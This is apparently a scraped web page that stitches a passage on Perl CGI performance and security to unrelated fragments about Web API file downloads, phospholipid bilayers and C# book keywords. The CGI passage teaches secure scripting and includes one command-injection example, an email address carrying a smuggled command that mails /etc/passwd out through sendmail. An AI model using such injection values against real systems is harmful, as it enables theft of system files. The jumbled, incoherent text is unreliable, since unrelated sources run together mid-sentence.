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18 Nov 2017 ... This article explains how to transfer/ return files ( PDF /Doc/Excel/zip) files from Web API service . Remember, as well, that any additional modules you need to load when the script initializes will add seconds to the time to start up the script: anything that can be avoided should be avoided Alternatively, think about using the mod_perl Apache module This provides an interface between Apache and Perl CGI scripts One of its major benefits is that it caches CGI scripts and executes them within an embedded Perl interpreter that is part of the Apache web server Additional invocations of the script do not require reloading They are already loaded, and the Perl interpreter does not need to be invoked for each CGI script This helps both performance and memory management Figure 3-2 The number of attacks on Internet sites is increasing Whether this is due to the meteoric rise of the number of computer crackers, or whether it s just because of the number of companies and hosts who do not take it seriously is unclear The fact is, it s incredibly easy to ensure that your scripts are secure if you follow some simple guidelines However, before we look at solutions, let s look at the types of scripts that are vulnerable to attack: I Any script that passes form input to a mail address or mail message I Any script that passes information that will be used within a subshell I Any script that blindly accepts unlimited amounts of information during the form processing The first two danger zones should be relatively obvious: anything that is potentially executed on the command line is open to abuse if the attacker supplies the right information For example, imagine an email address passed directly to sendmail that looks like this: mc@foobar;(mail mc@foobar </etc/passwd) Example C-4. Markup for one solution to Exercise 2-2 (continued) If this were executed on the command line as part of a call to sendmail line, the command after the semicolon would mail the password file to the same user a severe security hazard if not checked You can normally get around this problem by using taint checking to highlight the values that are considered unsafe Since input to a script is either from standard input or an environment variable, the data will automatically be tainted See 11 for more details on enabling and using tainted data There is a simple rule to follow when using CGI scripts: don t trust the size, content, or organization of the data supplied Here is a checklist of some of the things you should be looking out for when writing secure CGI scripts: PHOSPHOLIPIDS associate to form a bilayer consisting of a hydrophobic core (phospholipid tails) and a polar surface (phospholipid heads) 18: Developing for the World Wide Web (WWW) itextsharp text to pdf c# Agile Principles , Patterns, and Practices in C# - Free Computer Books
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